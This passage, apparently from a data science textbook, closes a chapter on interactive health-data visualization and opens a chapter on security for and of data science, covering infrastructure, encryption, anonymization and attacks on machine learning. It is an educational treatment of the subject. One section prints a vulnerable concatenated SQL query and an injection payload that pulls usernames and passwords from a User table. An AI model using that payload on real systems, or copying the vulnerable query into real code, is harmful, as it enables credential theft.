data quality problems that need to be handled explicitly by the application
developers.

The next step was to integrate various datasets that contain information about
heart attack, high blood pressure, body mass index (BMI), as well as public health
data. An example of the entity relationship diagram is given in Fig. 14.7 (Montana
and Zahner 2015). The main challenge here was that the datasets and the time ranges
are of different granularity. Hence, we needed to standardize and harmonize the data
before we could link it with other datasets. These are typical data warehousing tasks
that all companies need to perform when they integrate data from various, hetero-
geneous datasets.

Once these data preprocessing steps were finished, we proceeded to tackle the
actual task, namely, building interesting visualization stories. In particular, we were
interested in the occurrence of high blood pressure, heart diseases, and
overweightness of people in various age groups. We also wanted to know the
differences in females and males. The goal was to build a sequence of interactive
visualizations with intuitive narratives that guide a user from one visualization page
to the next one. This approach gives the users a similar experience to reading a book
or an article. The added value of interactive narrative visualization is that users can
follow different lines of thought in a story by interacting with the visualized content.
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In order to develop the visualization stories, we applied an iterative development
process of using data visualization for exploring and finding relevant correlations.
Additionally, we enriched the interactivity with storytelling aspects resulting in a
guided user experience.10

In order to meaningfully interpret visualized data, it is helpful to present chosen
information in a way that comparison between some grouping and/or within a
historical, time-dependent context is supported. Figure 14.8 presents the differences
in body mass indices between age groups. The users can hover over the visualization
and get more detailed information. For instance, users might be interested in the
body mass index of people in the age range of 15–24. By clicking on the respective
charts, the details about the color coding of the charts are presented.

This kind of visualization makes sure that the charts are not overloaded with
information and gives the user the flexibility of zooming into details interactively.

Once the user clicks on the next page of the visualization, the story continues and
informs the user about mortality rates. Figure 14.9 shows the historical development
of mortality reasons of Swiss citizens over the last years based on different causes
such as lung cancer or car accidents. The charts show that lung cancer was the main
cause of death followed by suicide. For both causes, however, we see that the
mortality rates were highest around 1980 and dropped afterward. Moreover, the
users can use time slides to analyze concrete time periods in more detail.

The next part of the visualization story provides more information on geograph-
ical differences about treatments in hospitals. The rationale of the narrative is that
besides temporal comparison, regional differences are often of interest and may be

Fig. 14.7 Entity Relationship Diagram for heart attack, high blood pressure, body mass index, and
people

10http://www.visualcomputinglab.ch/healthvis/
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presented in geographical maps. Figure 14.10 shows geographical differences of
health care costs at hospital between Swiss cantons in a map of Switzerland. The user
can interactively compare costs of geriatric, ambulant, psychiatric, and obstetric
health care services. In addition, the visualizations are narrated with background
information on hospital treatments as well as on interpretations of the results.

In Fig. 14.10 you see some textual description about the chart (the narrative) as
well as geographical and tabular information. All visualization modes are interactive
and interlinked and animate the users to explore the information from different visual
perspectives.

Fig. 14.8 Comparison of body mass indices between different age groups

Fig. 14.9 Historical development of mortality reasons
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The next step of the narrative visualization is to analyze life expectancy on a
European scale. Figure 14.11 combines regional comparison and gender differences
by presenting two maps of the EU side by side. The sequence of visualization guides
the user through the examination whether there is clear evidence of a positive

Fig. 14.10 Regional differences of health care costs within Swiss cantons

Fig. 14.11 Correlation of life expectancy and gross national product between men and women
within EU countries
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correlation between gross domestic product (GDP) and life expectancy. The results
show that the ratio of life expectancy to the gross domestic product is better in
eastern European countries than in western European ones—the main exception
being Portugal. The reason is that differences in GDP are much higher than the
differences in life expectancy.

The interested reader can experiment with more narrative visualizations at the
following web page: http://www.visualcomputinglab.ch/healthvis/europeStory.
html.

6 Lessons Learned

In the following section, we summarize the major lessons learned about developing
interactive information visualizations based on open data:

• Data preparation: The most time-consuming aspect of information visualization
is the data preparation phase, which follows similar principles as the ones used for
building a data warehouse. Even though there is a vast amount of open data
available, the datasets are typically loosely coupled collections of data items.
Moreover, the datasets have very heterogeneous data formats and often lack a
description of metadata. Hence, before data can be visualized, it often needs to be
manually transformed, harmonized, cleaned, and brought into a common data
model that allows easy visualization.

• Visualization technology: Recently, there has been a vast amount of visualiza-
tion methods developed as part of the D3.js framework that enables quick
prototyping. However, in order to develop consistent information visualizations,
the produced charts often need to be adopted, for instance, to match dynamic
scaling of axes, coherent color coding, and to enable persuasive interactivity.
Hence, the high-level visualization frameworks that enable quick prototyping
often cannot be used out of the box. In order to get full visualization flexibility,
low-level visualization functionality needs to be customized, which requires
writing much more code for achieving similar results. As a consequence, inter-
active information visualization and especially narrative visualization often
require a development path from rapid prototyping using “out-of-the-box” data
graphics toward “customized” visualizations that require some design and coding
efforts.

7 Conclusions

The information visualizations shown in this chapter exemplify the benefit of
gaining insight via interactive graphical presentations using open data available
from public health authorities. In general, our society demands more transparency
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(Taylor and Kelsey 2016). Open data coupled with information visualization will
increasingly become an attractive way to communicate fact-based interrelations in
economic, social, and political contexts. The awareness is increasing that it is
important to provide open data to the public. Even so, it is relevant that the growing
information available as open data becomes accessible via interactive visualizations
in order to manage the growing complexity we are confronted with. Data scientists
use their expertise in applying existing tools to process the vast amount of open data
and to create interactive exploration environments for interested users and engaged
citizens.
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Chapter 15
Security of Data Science and Data Science
for Security

Bernhard Tellenbach, Marc Rennhard, and Remo Schweizer

Abstract In this chapter, we present a brief overview of important topics regarding
the connection of data science and security. In the first part, we focus on the security
of data science and discuss a selection of security aspects that data scientists should
consider to make their services and products more secure. In the second part about
security for data science, we switch sides and present some applications where data
science plays a critical role in pushing the state-of-the-art in securing information
systems. This includes a detailed look at the potential and challenges of applying
machine learning to the problem of detecting obfuscated JavaScripts.

1 Introduction

Giants like Sony, Yahoo, and Anthem Inc., the second-largest US health insurance
company, heavily rely on big data and machine learning systems to efficiently store
and process huge amounts of data. But large enterprises are not the only ones; there
are more and more startups and SMEs whose business model focuses on data-centric
services and products. Unfortunately, where there is valuable data, there are also
hackers that want to get it or manipulate it for fun and profit. It is therefore important
that data scientists are aware of the fact that new services or data products should be
designed with security in mind. Many of the popular technologies and algorithms
used in their domain are not secure by default. They have to be used with care. For
example, recent research showed that access to the public API of a classification
service (e.g., face recognition) might be sufficient to steal or invert the underlying
model (Tramèr et al. 2016). We refer to these aspects as security of data science, that
is, issues related to the security of data science methods and applications.

On the other hand, data science methods and techniques help to address some of
the most challenging problems in this field such as the management of huge amounts
of log data and the identification of anomalies or other clues that might pinpoint
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activities posing a risk for an organization. It is therefore not surprising that
advancements in the field of data science lead to improvements of existing security
products. For instance, becoming better at detecting anomalies in credit card trans-
actions, network traffic, user behavior, and other types of data directly results in
improved products to protect today’s businesses. However, improvements to
existing products are not the only outcome of the already fruitful relation of data
science and security. It also led to the development of completely new solutions such
as next-generation antivirus products (Cylance 2017) . We refer to these aspects as
data science for security, that is, issues in the security domain that can be approached
with data science.

Despite the many benefits of data science, there are also some drawbacks and
challenges that come with the rapid evolution of the field. The short development life
cycles of new methods and products, be it a software, hardware, or a data product,
make it difficult to research whether these methods and products are secure or
whether they introduce new security problems and flaws. It is therefore not uncom-
mon (Pauli 2017b) that those methods and products have severe security loopholes.
Furthermore, due to the increasingly more centralized storage of large amounts of
data, cloud infrastructures and big data applications become attractive targets for
attackers. As a result of this, the probability that such infrastructures and applications
become the target of an advanced targeted attack with the goal of stealing or
manipulating large amounts of data is drastically increased. An advanced targeted
attack (ATA) or an advanced persistent threat (APT) (Easttom 2016) is an attack
where the attackers put a lot of effort, knowledge, and time into getting and
eventually also maintaining access to a system or data. Often, such attacks make
use of so-called zero-day exploits. These are exploits that are not yet known to the
security industry, which means it is unlikely that signature-based systems can detect
them. Detection is further complicated in that the attackers try to be as stealthy as
possible.

In addition, data science tools such as machine learning and the growing amount
of (publicly accessible) data can also be used by cyber criminals to improve their
attack methods and strategies. For example, being able to profile people based on
their activities on social media and determining what type and style of social
engineering attacks makes them do something they do not want to do would be
very useful to cyber criminals.

In the following, we discuss the opportunities and risks of data science in more
detail. First, we briefly introduce three key concepts of information security: confi-
dentiality, integrity, and availability. Next, we present a brief overview of important
topics related to security of data science and provide more details on some key topics
that data scientists should consider to make (applications of) data science more
secure. Then, we switch to the topic of data science for security, where we discuss
examples of applications of data science in security products. This discussion
includes a detailed look at the potential and challenges of applying machine learning
to the problem of detecting obfuscated JavaScripts. We then conclude the chapter
with a summary of topics every (security) data scientist should keep in mind when
working in this field.
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2 Key Concepts of Information Security

According to the Federal Information Security Management Act of 2002 (2012), the
term “information security” means protecting information and information systems
from unauthorized access, use, disclosure, disruption, modification, or destruction in
order to provide confidentiality, integrity, and availability (CIA):

• Confidentiality requires the implementation of authorized restrictions on access
and disclosure, which includes measures for protecting personal privacy and
proprietary information.

• Integrity means guarding against improper modification or destruction, and
includes information non-repudiation and authenticity.

• Availability finally means ensuring timely and reliable access to and use of
information.

For a cloud storage provider for example, confidentiality would mean that data
must be stored in encrypted form and that there is a key management scheme in place
that makes sure that only authorized entities should be able to decrypt it. In its
simplest form, a customer would do the encryption, decryption, and key manage-
ment in his or her own trusted infrastructure and send and receive encrypted files
only. However, this way, the cloud cannot look at the data and functionality such as
file indexing and searching. Thus, storing the same file submitted by multiple users
only once (de-duplication) cannot be done. To be able to do this, the key must be
known to the cloud, which means the cloud should be trusted. To keep the attack
surface small, access to the key stored in the cloud must happen on a need-to-know
basis and access should be logged. Furthermore, data in transit, when transferred
from or to the customer or when moved around in the cloud, should be encrypted
as well.

Simply encrypting data is not enough, however, as without integrity protections,
the employees of the cloud provider could still modify the encrypted files at the bit
and byte level without the customer easily noticing this when decrypting the files and
looking at them. And without enough resources to handle peak times or denial-of-
service attacks, a customer might be cut off from the data (for some time), which
could cause significant financial losses.

Hence, if information infrastructures do not have the desired properties with
respect to CIA, they might not work as expected. If these infrastructures are in the
big data domain, CIA issues might even be magnified by the velocity, volume, and
variety of big data (Cloud Security Alliance 2013b). This will be explored in more
detail in the next section.
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3 Security of Data Science

In this section, we discuss challenges and solution approaches related to the security
of data science methods and applications. Since any data product needs an infra-
structure to run on, a piece of software that implements it, data that fuels it, and
customers that feel comfortable using it, we provide a brief overview and references
to more in-depth material on (1) infrastructure security, (2) software security,
(3) data protection, and (4) data anonymization. Furthermore, we discuss (5) exam-
ples of attacks on machine learning algorithms.

3.1 Infrastructure Security

Infrastructure security is concerned with securing information systems against
physical and virtual intruders, insider threats, and technical failures of the infrastruc-
ture itself. As a consequence, some of the more important building blocks to secure
an infrastructure are access control, encryption of data at rest and in transit, vulner-
ability scanning and patching, security monitoring, network segmentation, firewalls,
anomaly detection, server hardening, and (endpoint) security policies. Resources
such as the NIST special publications series (National Institute of Standards and
Technology 2017) or the CIS top 20 security controls (Center for Internet Security
2017) provide guidance and (some) practical advice. However, getting all of this
right is far from easy and failing might carry a hefty price tag.

In 2007, for example, Sony was accused of having some serious security vulner-
abilities. In an interview, Sony’s senior vice president of information security stated:
“It’s a valid business decision to accept the risk of a security breach. I will not invest
$10 million to avoid a possible $1 million loss” (Holmes 2007). The data theft and
outage of the PlayStation network in 2011 cost Sony $171 million (Schreier 2011).
The Sony Pictures hack in 2014 (Risk Based Security 2014), where personal
information of employees were stolen, cost Sony $35 million. Nevertheless, as
Sony stated, it is indeed a valid business decision to limit investments in security.
But such decisions should be made in full awareness of the value of the assets that
are at stake, especially in light of the fact that massive amounts of user accounts or
data can pose a very attractive target for cyber criminals: they could steal or destroy it
and then ask for a ransom to restore it, they might sell it on the black market, or
misuse it to perform other crimes.

The fact that many companies have failed to secure their infrastructure can be
considered an anecdotal proof that this is a complex task and should not be done
without involving security experts. This is even more true when big data systems are
involved, since they might require the implementation of new use-case or product-
specific security measures (Moreno et al. 2016). For a checklist of what should be
considered when building and securing big data systems, check out the top 100 best
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practices in big data security and privacy (Cloud Security Alliance 2016). However,
note that many of the best practices also apply to “normal” information systems.

Fortunately, data scientists do rarely have to build and secure an infrastructure
from scratch. However, they often have to select, configure, and deploy base
technologies and products such as MongoDB, Elasticsearch, or Apache Spark. It is
therefore important that data scientists are aware of the security of these products.
What are the security mechanisms they offer? Are they secure by default? Can they
be configured to be secure or is there a need for additional security measures and
tools? Recent events have demonstrated that this is often not the case.

In January 2017, 30,000 MongoDB instances were compromised (Pauli 2017b)
because they were configured to accept unauthenticated remote connections. The
underlying problem was that MongoDB versions before 2.6.0. were insecure by
default. When installed, the installer did not force the user to define a password for
the database admin account, and the database service listened on all network
interfaces for incoming connections, not only the local one. This problem was well
known and documented (Matherly 2015), but apparently, many operators of such
instances didn’t know or didn’t care. Just one week later, the same hackers started to
attack more than 35,000 Elasticsearch instances with ransomware (Pauli 2017a).
Most of these instances were located on Amazon Web Services (AWS) and provided
full read and write access without requiring authentication.

It is important to keep in mind that many of these new technologies are designed
to facilitate easy experimentation and exploration, and not to provide enterprise-
grade security by default. The examples mentioned in the previous paragraph are
certainly not the only ones that illustrate this problem. A broader study in the area of
NoSQL databases revealed that many products and technologies do not support
fundamental security features such as database encryption and secure communica-
tion (Sahafizadeh and Nematbakhsh 2015). The general advice here is that before
setting up such a technology or product, it is important to check the security features
it offers and to verify whether the default configuration is secure enough. If problems
are identified, they should be fixed before the product is used.

3.2 Software Security

Software security sets the focus on the methodologies of how applications can be
implemented and protected so that they do not have or expose any vulnerabilities. To
achieve this, traditional software development life cycle (SDLC) models (Waterfall,
Iterative, Agile, etc.) must integrate activities to help discover and reduce vulnera-
bilities early and effectively and refrain from the common practice to perform
security-related activities only toward the end of the SDLC as part of testing. A
secure SDLC (SSDLC) ensures that security assurance activities such as security
requirements, defining the security architecture, code reviews, and penetration tests,
are an integral part of the entire development process.
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An important aspect of implementing an SSDLC is to know the threats and how
relevant they are for a specific product. This allows prioritizing the activities in the
SSDLC. For data products, injection attacks and components that are insecure by
default are among the biggest threats. Many data products are based on immature
cutting-edge technology. They process data from untrusted sources including data
from IoT devices, data from public data sources such as Twitter, and various kinds of
user input, to control and use the data product.

For instance, if the code assembles SQL queries by concatenating user input and
instructions for the database, this can turn out badly. As an example, consider the
following line of code where a SELECT query is built and where userinput is
provided by the user:

String query = "SELECT name, description from Product WHERE name
LIKE '%" + userinput + "%'";

If the user (an attacker in this case) specifies the following data as userinput,

' UNION SELECT username, password FROM User--

then the following query is built:

SELECT name, description from Product WHERE name LIKE '%' UNION
SELECT username, password FROM User--%'

This query is syntactically correct (note that—is used in SQL for comments,
which means that the part—%’ will be ignored by the database system) and will not
only return all products, but also all usernames and password that are stored in
table User.

The solution to this so-called SQL injection problem seems simple: input data
must be sanitized so that if the data contains SQL commands, it is just interpreted as
textual data and not as a potentially harmful SQL command. Another safeguard to
protect from SQL injection is to use only minimal access rights for the technical
database user that executes the query. This cannot completely prevent SQL injection,
but in case of a vulnerability, it serves as a damage control mechanism to make sure
that the amount of data that can be accessed by the attacker is limited.

However, although the mechanisms to prevent SQL injection vulnerabilities are
well known, history shows that they are not used consistently in practice—even if
incidents related to SQL injection regularly make it into the headlines of mass media.
For instance, in 2008, SQL injection was used to steal more than 134 million credit
card data records from Heartland Payment Systems (Krebs 2009). Three years later,
Global Payment Systems faced the same problem and lost about $92.2 million
during the incident (Krebs 2012). Even now, the problem is still around. In 2016,
data of 55 million voters were stolen from Comelec, the Philippines Commission on
Elections (Estopace 2016), and an SQL injection vulnerability might also have
played an important role in the incident of the Panama Papers (Burgees and
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Temperton 2016), where 11.5 million financial documents about offshore entities
were leaked.

Clearly, SQL might not see widespread use in big data systems. New technolo-
gies such as NoSQL databases are far more prominent. However, their security
history does not look much better, as a recent paper demonstrated similar issues with
injection attacks as SQL (Ron et al. 2016).

One reason why it is difficult to get rid of such vulnerabilities is that preventive
measures have to be considered by the developers and integrated into the code. If
they are not aware of such risks and security is not a crucial part of the SDLC they
are employing, it is very likely that vulnerabilities creep into the code because
countermeasures are missing completely or are implemented incorrectly. There
exists also no magic bullet in the sense of tools or formal proofs that can easily
verify whether a piece of software is secure, although there exist tools that can detect
some vulnerabilities. A good overview in this context is provided in (Software
Testing Help 2017).

In general, the following steps help to address common software security prob-
lems when building a (software) product:

• Make sure that third party technology or products used are as mature as possible.
• Make sure that third party technology or products used offer a broad spectrum of

security features and access controls options.
• Make sure that you have an SSDLC in place.

A good starting point to learn more about how to develop secure software are the
SSDLC models of Microsoft (Microsoft 2017b) and the Open Web Application
Security Project OWASP (OWASP 2017a). For more specific advice on what to
consider when developing web services and web applications, OWASP (2017b) or
Li and Xue (2014) offer well-suited sources. OWASP (2017b) lists the top 10 (web-)
application security risks and provides technical guidance on how to test for them
and how to avoid them. Five important takeaways from there are that developers
should check their web applications and services for the following problems:

• Incorrect or lack of input validation and data sanitation so that an attacker can
trick an interpreter or query engine to do things that were not intended.

• Incorrect implementation of authentication and session management.
• Exposure of sensitive data because of problems like (1) insufficient or missing

data encryption at rest and in motion, (2) password stores that do not use strong
adaptive and salted hashing functions with a work factor (e.g., PBKDF21 or
bcrypt2), or data leakage in log files.

• Incorrect implementation of the mechanisms to restrict what an authenticated user
is allowed to do. For example, checks whether a user has the right permissions to
execute an action might be done for all actions that a user can trigger via URL

1https://tools.ietf.org/html/rfc2898#page-9
2https://www.usenix.org/legacy/events/usenix99/provos/provos_html/node5.html
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entries that are exposed in the web-interface—but not for actions that could be
triggered by accessing portions of a website that are not exposed by such entries
(forceful browsing).

• Use of insecure configurations as a result of insecure default configurations,
incomplete or ad hoc configurations, outdated configurations, open cloud storage,
misconfigured HTTP headers, verbose error messages containing sensitive infor-
mation, or other root causes.

3.3 Data Protection

A core activity in data science is the processing of (large amounts of) data. For most
processing tasks, the data must be available in unencrypted form. This has two main
drawbacks. The first one is that when security measures such as access control fail,
attackers can easily steal the data and make use of any information it contains. To
make this more difficult, the data should always be stored in encrypted form. This
way, the attacker must steal the data when it is being processed or manage to steal the
keys used to encrypt it.

The second drawback is that the vast amount of processing power available in
data centers around the world cannot be exploited if the data contains confidential
information or is subject to data protection laws prohibiting the processing by
(foreign) third parties. For such cases, it would have to be possible to do the
processing in the encrypted space. Searchable encryption and homomorphic encryp-
tion (Prasanna and Akki 2015) offer interesting properties with this regard.

Searchable encryption (SE) introduced by Song et al. (2000) [see Bösch et al.
(2014)] for an overview of different approaches) can be divided into many different
subgroups. The core logic mostly consists of building an encrypted keyword search
index on the client side. A search is then performed using trapdoor functions. A
trapdoor function is a function that is easy to compute in one direction, but that is
difficult to compute in the inverse direction unless one knows a secret. The most
basic algorithms allow only queries with a single keyword and have performance
issues when new data is added. If data is frequently modified, removed, or added,
dynamic data search algorithms are required. Fuzzy-keyword search extends the
algorithm to tolerate (some) spelling mistakes. There are also methods that support
multiple keywords per query. SE offers methods to perform ranked search, for
example, by taking the access history of a user and the access frequency into
account. Although some research prototypes have been developed and partly also
made available for general use and experimentation [e.g., Popa et al. (2011)], several
limitations must be overcome before SE can be used widely in practice. One of these
limitations is that algorithms based on secret (symmetric) key cryptography usually
require a key exchange over a secured channel and offer only limited search
capabilities compared to traditional search engines. Another one is that public key
cryptography-based approaches are insufficient for modern big data systems because
of substantial computational overhead.
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Homomorphic encryption (HE) addresses the challenge to perform general com-
putations on encrypted data. HE allows performing simple operations such as
additions, multiplications, or quadratic formulas on ciphertext. It generates an
encrypted result, which when decrypted, delivers the same result as if the operations
were performed on the plaintext. This offers the ability to run calculations on
untrusted devices without giving up on data privacy. Craig Gentry (2009) described
the first Fully Homomorphic Encryption (FHE) scheme. This scheme allows
performing any desirable function on encrypted data. Unfortunately, FHE is cur-
rently far away from practical use, as it increases memory consumption and
processing times of even basic operations by about 6–7 orders of magnitude
(Brown 2017). Therefore, Somewhat Homomorphic Encryption (SwHE) techniques
are proposed. Compared to FHE, they provide better efficiency but do not support all
operations [see, e.g., Gentry et al. (2012)]. On the implementation side, there are
some HE research prototypes available such as by Halevi (2017). However, given
the current state of HE technology, it is expected that several years of further
research are required before HE is ready for productive use.

3.4 Privacy Preservation/Data Anonymization

In many cases, data science analyzes data of human individuals, for instance, health
data. Due to legal and ethical obligations, such data should be anonymized to make
sure the privacy of the individuals is protected. Data anonymization basically means
that any data record in the data set should not be easily linkable to a particular
individual. Obvious solutions include stripping the real name or the detailed address
of individuals from the records, but experience teaches that this is usually not enough
to truly anonymize the data.

For instance, in 2006, Netflix started an open competition with the goal to find
algorithms that allow predicting user ratings for films. As a basis, Netflix provided a
large data set of user ratings as training data, where both users and movies were
replaced by numerical IDs. By correlating this data with ratings from the Internet
Movie Database, two researchers demonstrated that it is possible to de-anonymize
users (Narayanan and Shmatikov 2008). Another example is the Personal Genome
Project, where researchers managed to de-anonymize about 90% of all participants
(Sweeney et al. 2013). Their basic approach was to link information in the data
records (birth date, gender, and ZIP code) with purchased voter registration lists and
other publicly available information.

To overcome these issues, a more scientific approach toward anonymization is
required. The question is the following: Is it possible to modify data such that the
privacy of the participants is fully protected without losing the essence of the data
and therefore its utility? In this context, “privacy protection” means that an attacker
should not be able to learn any additional information about the individuals than
what is directly provided by the data records, even when this data is correlated with
other information. Past and more recent research activities have provided several
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approaches that can help to achieve this, including generalization (Sweeney 1997)
and suppression (Cox 1980), k-anonymity (Samarati and Sweeney 1998), and
differential privacy (Dwork 2006). Each method has its advantages and drawbacks.

Suppression is a basic form of trying to achieve anonymity by either deleting
attributes or substituting them with other values. Generalization describes the
approach to blur data by replacing specific values with categories or ranges of
values. An attribute containing the age of a person is then translated to a range, so
33 may result in 30–39. Combining these methods can lead to k-anonymity, which
means that each record cannot be distinguished from at least k � 1 other records
when considering the personally identifying information in the records.

As an example, assume that a data set includes data records of individual. Each
record includes gender, age range, and disease from which the person is suffering.
Assume there are three records with gender female and age range 50–59. This
basically corresponds to 3-anonymity, as these three records cannot be distinguished
from one another based on the attributes gender and age range. k-anonymity also has
its limitations, especially if the diversity of the non-anonymized attributes is low. In
the previous example, let us assume that the disease is heart-related in all three cases.
This implies that if an attacker knows that Angela, who is 55 years old, is included in
the data set, then he directly knows that she is suffering from heart-related health
problems, as all female persons between 50 and 59 in the data set are suffering
from it.

The basic idea of differential privacy is that the actual values of the attributes of
any single record in the data set should only have a very limited effect on the
outcome of any analysis performed on the data. If this is the case, an attacker,
when querying the data set, cannot learn anything about a specific individual in the
data set as the received outcome is possibly independent of the actual attributes of
this individual. This is basically achieved by adding some noise to the result before it
is presented to the analyst. For example, let us assume that there are 100 records of
100 persons in a data set and the attacker knows of 99 persons whether they have a
heart-related disease or not (we assume that 33 of them have such an issue), but he
doesn’t know this of the remaining person, which we name Alice. If the attacker
performs the query “how many persons have a heart-related disease,” then he
directly knows Alice’s condition: If the query returns 33, Alice has no heart-related
problem, if it returns 34, Alice has a heart-related issue. When using differential
privacy, the query would not return the actual value, but it would distort it a little bit,
that is, the query would return a value in the neighborhood of 33 or 34, such as
30, 32, or 35. What’s important is that the returned value does not indicate whether
the true value is 33 or 34, which implies the attacker cannot learn anything about
Alice’s condition.

Obviously, any data anonymization method has its price as it has a negative
impact on the quality of the data and the precision of the results when doing data
analysis. Suppressing and generalizing data removes information, which means that
the results of any analysis performed on the data will become less precise. And in the
case of differential privacy, we usually get results that are “close to the correct
result,” but that usually do not correspond to the exact result. But this is the price of
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protecting the privacy of the involved individuals and this also implies that in
practice, it is important to carefully balance the privacy of the individuals and the
required precision of the analyses. A concise overview about anonymization
methods is given by Selvi and Pushpa (2015). Detailed information about privacy-
preserving data publishing and corresponding research can be found in the survey by
Fung et al. (2010).

3.5 Machine Learning Under Attack

The combination of sophisticated algorithms and untrusted data can open the door
for different kinds of attacks. In the 2010 Flash Crash (Kirilenko et al. 2017), the
New York Stock Exchange experienced a temporary market loss of one trillion
dollar caused by market manipulations. The trader Navinder Singh Sarao rapidly
placed and canceled orders automatically so that high-frequency trading firms
interpreted the signs incorrectly. In the beginning, they bought the spoof orders
and absorbed the sell pressure. Few minutes later, these long-term positions were
forcefully sold leading to a feedback loop. In times of big data, trading algorithms
often take news feeds like business publications, SEC filings, and Twitter posts into
account to make predictions. In 2013, this led to a loss of $130 billion in stock value
due to a fake Twitter message from the associated press about an explosion in the
White House (Foster 2013).

Mozaffari-Kermani et al. (2015) propose a method to generate data, which, when
added to the training set, causes the machine learning algorithms to deliver wrong
predictions for specific queries. Thus, this method could, for example, be used to
compromise the effectiveness of a system to diagnose cancer or to identify anomalies
in computer networks. Their method consists of two algorithms. The first one creates
data sets that statistically belong to the attacked class but are labeled like the target
class to which a bias should be created. The second algorithm then evaluates which
data set has the highest impact on the degradation of the model. For their method to
work well, the attacker must know the statistics of the training data set, the feature
extraction process, and the machine learning algorithms used. However, the only
true requirement is knowledge on the feature extraction process that maps a sample
onto a feature vector. If the training set is not public or based on publicly available
data and cannot be stolen, an attacker could construct a proxy training data set by
querying the predictor with artificial test instances and by observing its responses
(Nelson et al. 2008). And if the machine learning algorithm is not known, their
approach can be modified to cope with this case at the cost of some of its effective-
ness. A good countermeasure to this kind of attack is the use of a threshold value for
the returned accuracy metrics. At first, one might think that because an attacker must
be able to add training data to the training set, this poisoning attack is rather
impractical. However, in many cases, the training data and/or its labels do come
from untrusted sources or can at least be influenced by them. And even if the sources
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are trusted, consider that an attacker might have hacked one or multiple of those
sources because they were easier to hack than the system with the data product itself.

In recent years, machine-learning-as-a-service (MLaaS) has become a huge trend.
Tech giants such as Amazon Web Services (2017), Google (2017), Microsoft
(2017a), and many others offer customers to create and run machine learning
algorithms in the cloud, offering different services like facial recognition and natural
language processing. Some of these publicly accessible tools may contain sensitive
data within their model that has to be protected. Fredrikson et al. (2015) show how
confidential information of a machine learning model can be extracted by inverting
it. The authors are able to reconstruct the images of the training data of a facial
recognition system. For each image submitted, the system responds with a list of
names together with their confidence value. This allows an attacker to treat it as an
optimization problem finding the input that maximizes the confidence of a target
class. The time for reconstruction depends on the model and varies between 1.4 s and
21 min. The attack is also applicable if nothing about the model is known (black-
box) but takes significantly longer. Tramèr et al. (2016) improve the computation
time by starting with stealing the model using prediction APIs and then running the
inversion attack on the copy of the model. They further show how decision trees,
logistic regression-based classifiers, and neural networks can be stolen by just using
the provided interfaces and the rich information returned by MLaaS solutions.

4 Data Science for Security

After having discussed some of the security challenges a data scientist might face
when developing and using modern data science technologies, this section deals
with the opportunities of using data science to help solve major challenges in
information security. In this context, we are looking at three general application
areas: (1) anomaly detection, (2) malware detection and classification, and (3) threat
detection. In the next chapter, we are going to take a more detailed look at a specific
case study where machine learning was applied to detect obfuscated JavaScript code.

4.1 Anomaly Detection

The detection of anomalies is a major challenge in information security and has
many applications such as network intrusion detection, credit card fraud detection,
insurance claim fraud detection, insider trading detection, and many others. An
anomaly describes a single point or a set of data points within a large data set that
does not match the normal or usual behavior. In a network intrusion detection
system, this could be a large amount of login attempts or an attacker who scans
systems for open ports to get information about a targeted infrastructure. In credit
card fraud detection, this could be an anomalous transaction over a significantly
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larger amount than what is usually spent by the credit card holder. Another example
is using the credit card in a different context than usual, for instance in a different
country. In credit card fraud detection, this is a serious challenge due to the vastly
increased amount of online transactions that are difficult to assign to specific
locations. A third example of anomalous credit card usage would be a huge amount
of small transactions in a short time.

A broader overview about this topic and the performance of different machine
learning algorithms for anomaly detection is given in the survey by Chandola et al.
(2009). They show how machine learning can contribute to solve different anomaly
detection-based challenges. Their core conclusion is that there is currently no “one
size fits all” solution. Nearest neighbor and clustering-based techniques suffer when
data is high dimensional, because the distance measures cannot differentiate between
normal and abnormal behavior anymore. Classification-based algorithms deliver
good results but labeled data is often rare. Mahmud et al. (2016) give an overview
of machine learning algorithms and their performance in credit card fraud detection.
They achieve a classification accuracy of 98.25%, but the fraud detection success
rate is below 50% because the fraction of fraudulent credit card transactions in the
data set they used was small. According to the results, the highest detection rate is
achieved using RotationForest, KStar, and RandomTree models. Finally, Gulenko
et al. (2016) have evaluated machine learning algorithms for anomaly detection in
cloud infrastructures. They come to the conclusion that high precision and recall
rates can be achieved but the models suffer from aging effects. Therefore, models
have to be periodically retrained and updated. Specific answers about the required
periodicity are not given, however, and left open as future research.

The class imbalance problem that Mahmud et al. (2016) faced when they
developed their credit card fraud detection system is fairly common in anomaly
detection: the number of normal items, events, or observations is usually much larger
than those of anomalous ones. If this imbalance in the distribution of the normal and
the abnormal class(es) is not taken into account, a detector might perform poorly.
Two examples where this imbalance tends to be quite strong are credit card fraud
detection and network intrusion detection. Pozzolo et al. (2015) work with a data set
with credit card transactions from European cardholders in September 2013. This
data set has only 492 cases of fraud in the total of 2,84,807 transactions. Shiravi et al.
(2012) present a reference data set (the ISCX data set) for validating network
intrusion detection systems where, according to Soheily-Khah et al. (2017), attack
traffic accounts for only 2% of the overall traffic. While 2% is quite low, it might
easily be much lower, for example 0.01%, as in the application layer denial-of-
service data set of Viegas et al. (2017).

Fortunately, many techniques exist to handle such imbalanced class distributions.
One way to address the problem is to resample the training data to turn it into a more
balanced data set. In the example with the credit card transaction data mentioned
before, Pozzolo et al. (2015) performed a study on the impact of undersampling on
classification accuracy and probability calibration. They found that randomly
selecting and removing legitimate transactions to get a more balanced data set can
indeed increase classification accuracy. However, for some of the other data sets they
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used, this was not the case. An overview of this very active area of research—mainly
with focus on binary classification—can be found in Branco et al. (2016).

Another way to approach the problem is to make use of machine learning
algorithms that can cope better with (strongly) imbalanced class distributions.
Traditional methods like support vector machines or decision trees have a bias
toward the majority class since “. . . rules that correctly predict those instances are
positively weighted in favor of the accuracy metric, whereas specific rules that
predict examples from the minority class are usually ignored (treating them as
noise), because more general rules are preferred. In such a way, minority class
instances are more often misclassified than those from the other classes” (Galar
et al. 2012). Or in other words, if a credit card fraud detector would classify all
transactions as not fraudulent, the classifier could achieve 99% accuracy for a data
set where 1% of the transactions are fraudulent.

According to Krawczyk (2016), the most popular branch of machine learning
algorithms that aims at addressing this problem is cost-sensitive approaches where
learners are modified to incorporate penalties for (some) classes. “This way by
assigning a higher cost to less represented set of objects we boost its importance
during the learning process (which should aim at minimizing the global cost
associated with mistakes)” (Krawczyk 2016). However, for most of these
approaches, profound theoretical insights into why and how well they perform
with arbitrary imbalanced data sets is lacking. An overview over related work on
this topic can be found in Branco et al. (2016) or Galar et al. (2012).

The most important takeaway from this discussion is that one should be aware of
the imbalance problem when developing anomaly detection solutions.

A good starting point for a more in-depth study is Branco et al. (2016) and/or
Krawczyk (2016). Furthermore, another takeaway is that retraining is an overall
important task in anomaly detection as the normal behavior defined in the past will
usually not sufficiently represent the future. This question is also addressed in
